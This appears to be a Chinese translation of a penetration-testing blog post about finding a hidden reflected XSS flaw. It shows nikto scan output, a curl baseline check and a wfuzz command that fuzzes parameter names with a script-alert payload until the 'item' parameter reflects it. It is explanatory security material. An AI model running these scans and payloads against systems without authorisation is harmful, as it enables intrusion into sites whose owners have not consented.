发现隐藏的XSS漏洞:一次真实的渗透测试案例

本文详细描述了一次渗透测试中发现隐藏XSS漏洞的过程,包括使用nikto扫描、分析响应特征、利用wfuzz工具进行参数模糊测试,最终成功触发XSS弹窗的完整技术细节。

隐藏的XSS

在一次网站测试中,我很难找到任何跨站脚本攻击(XSS)的实例,这非常不寻常。

然而,在使用nikto扫描网站后,出现了一些有趣的结果:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nikto -h rob-sec-1.com
- ***** RFIURL is not defined in nikto.conf--no RFI tests will run *****
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          193.70.91.5
+ Target Hostname:    rob-sec-1.com
+ Target Port:        80
+ Start Time:         2018-02-03 15:37:18 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache
+ The anti-clickjacking X-Frame-Options header is not present.
+ Cookie v created without the httponly flag
+ Root page / redirects to: /?node_id=V0lMTCB5b3UgYmUgcmlja3JvbGxlZD8%3D
+ Server leaks inodes via ETags, header found with file /css, inode: 0x109c8, size: 0x56, mtime: 0x543795d00f180;56450719f9b80
+ Uncommon header 'tcn' found, with contents: choice
+ OSVDB-3092: /css: This might be interesting...
+ OSVDB-3092: /test/: This might be interesting...

+ 4197 items checked: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2018-02-03 15:40:15 (GMT0) (177 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

特别是这一行:

1
+ OSVDB-3092: /test/: This might be interesting...

于是我导航到/test/页面,在页面顶部看到了这样的内容:

页面有通常的内容,然而,顶部似乎有一些奇怪的文本,而且因为它显示NULL,这让我觉得是开发人员在生产环境中留下的调试输出。

为了找出这个调试输出是否由任何查询字符串参数填充,我们可以使用wfuzz。

首先我们需要确定正常请求时页面返回的字节数:

1
2
3
4
$ curl 'http://rob-sec-1.com/test/?' 1>/dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    53  100    53    0     0     53      0  0:00:01 --:--:--  0:00:01   289

这里我们可以看到是53个字节。从那里,我们可以配置wfuzz来尝试不同的参数名,然后查找任何响应大小不是53个字符的响应。这里我们将使用dirb的common.txt列表作为起点:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$ wfuzz -w /usr/share/wordlists/dirb/common.txt --hh 53 'http://rob-sec-1.com/test/?FUZZ=<script>alert("xss")</script>'
********************************************************
* Wfuzz 2.2.3 - The Web Fuzzer                         *
********************************************************

Target: HTTP://rob-sec-1.com/test/?FUZZ=<script>alert("xss")</script>
Total requests: 4614

==================================================================
ID	Response   Lines      Word         Chars          Payload    
==================================================================

02127:  C=200      9 L	       8 W	     84 Ch	  "item"

Total time: 14.93025
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 309.0369

好吧,你知道吗,看起来我们找到了参数!

将/test/?item=复制到Firefox中,我们得到了我们的弹窗:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计